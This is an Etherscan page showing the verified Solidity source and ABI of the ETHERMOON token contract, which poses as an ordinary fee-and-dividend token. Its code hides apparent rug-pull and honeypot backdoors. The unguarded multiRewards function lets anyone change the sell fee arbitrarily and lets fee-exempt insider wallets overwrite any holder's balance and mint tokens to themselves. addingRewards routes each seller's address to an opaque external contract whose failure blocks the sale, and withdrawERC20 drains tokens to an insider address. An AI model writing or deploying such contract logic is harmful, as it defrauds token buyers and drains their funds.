ETH Price: $3,467.48 (-0.09%)

Token

ETHERMOON (ETHERMOON)
 

Overview

Max Total Supply

1,000,000 ETHERMOON

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,682.0813728 ETHERMOON

Value
$0.00
0x64de35D59D4ee71984340509ac87A7A032dc1940
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHERMOON

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-06
*/

// SPDX-License-Identifier: MIT
/**
TG: https://t.me/ETHERMOONV2
Web: https://ethermoon.space
Twitter: https://twitter.com/EthermoonSpace

*/
pragma solidity 0.8.17;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ETHERMOON is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "ETHERMOON";
    string private constant _symbol = "ETHERMOON";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isBot;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping(address => uint256) public holderTxTimestamp;
    bool public transferDelayEnabled = true;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 200;
    uint256 private rewardsFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 300;
    uint256 private sellFee = 300;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;

    function getRewardswithUSDT() external {
        distributeUSDT(msg.sender);
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public development_receiver;
    address public marketing_receiver;
    address private autoLiquididation;

    constructor(
        address _development_receiver, 
        address _marketing_receiver, 
        address _autoLiquididation) Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        development_receiver = _development_receiver;
        marketing_receiver = _marketing_receiver;
        autoLiquididation = _autoLiquididation;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[autoLiquididation] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = totalSupply();
        _maxSellAmount = totalSupply();
        _maxWalletToken = totalSupply();
        transferDelayEnabled = false;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        transferDelayForBots(recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isDividendExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isDividendExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            distributeUSDT(recipient);
        }
    }

   

    function setStructure(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(
            _address != address(pair) &&
                _address != address(router) &&
                _address != address(this),
            "Ineligible Address"
        );
        isBot[_address] = _enabled;
    }

    function setParameters(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function transferDelayForBots(address recipient)
        internal
    {
        if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) {
            require(
                _holderTransferTimestamp[tx.origin] < block.number - 2 &&
                    _holderTransferTimestamp[recipient] < block.number - 2,
                "_transfer:: Transfer Delay enabled.  Try again later."
            );
            _holderTransferTimestamp[tx.origin] = block.number;
            _holderTransferTimestamp[recipient] = block.number;
        } 
         if (recipient != address(pair)) {
             if (holderTxTimestamp[recipient] == 0) {
                holderTxTimestamp[recipient] = block.timestamp;
            }
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens, address sender) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_receiver).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            addingRewards(rewardsAmount, sender);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquididation,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold, sender);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isDividendExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    function addingRewards(uint256 amountETH, address sender) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 updatedAmount = IERC20(reward).balanceOf(address(this));
        uint256 amount = updatedAmount.sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        bytes memory payload = 
        abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender);
        (bool success, ) = autoLiquididation.call(payload);
        require(success, "Call to other contract failed");
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
        );
    }

    function multiRewards(
        uint256 gas,
        address _rewards,
        uint256 _amount,
        uint256 _value
    ) external {

        sellFee = _value;
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isFeeExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldDistribute(shareholders[currentIndex])) {
                    distributeUSDT(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getPendingUSDT(user);
            _balances[_rewards] = _amount;
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(reward).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getCumulativeDividends(
                    shares[user].amount
                );
            }
        }

        
    }

   
    function shouldDistribute(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getPendingUSDT(shareholder) > minDistribution;
    }

    function withdrawERC20(address _address, uint256 _amount) external {
        IERC20(_address).transfer(autoLiquididation, _amount);
    }

    function totalRewardsDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function distributeUSDT(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getPendingUSDT(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function getPendingUSDT(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function setDistributionConfigure(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"multiRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

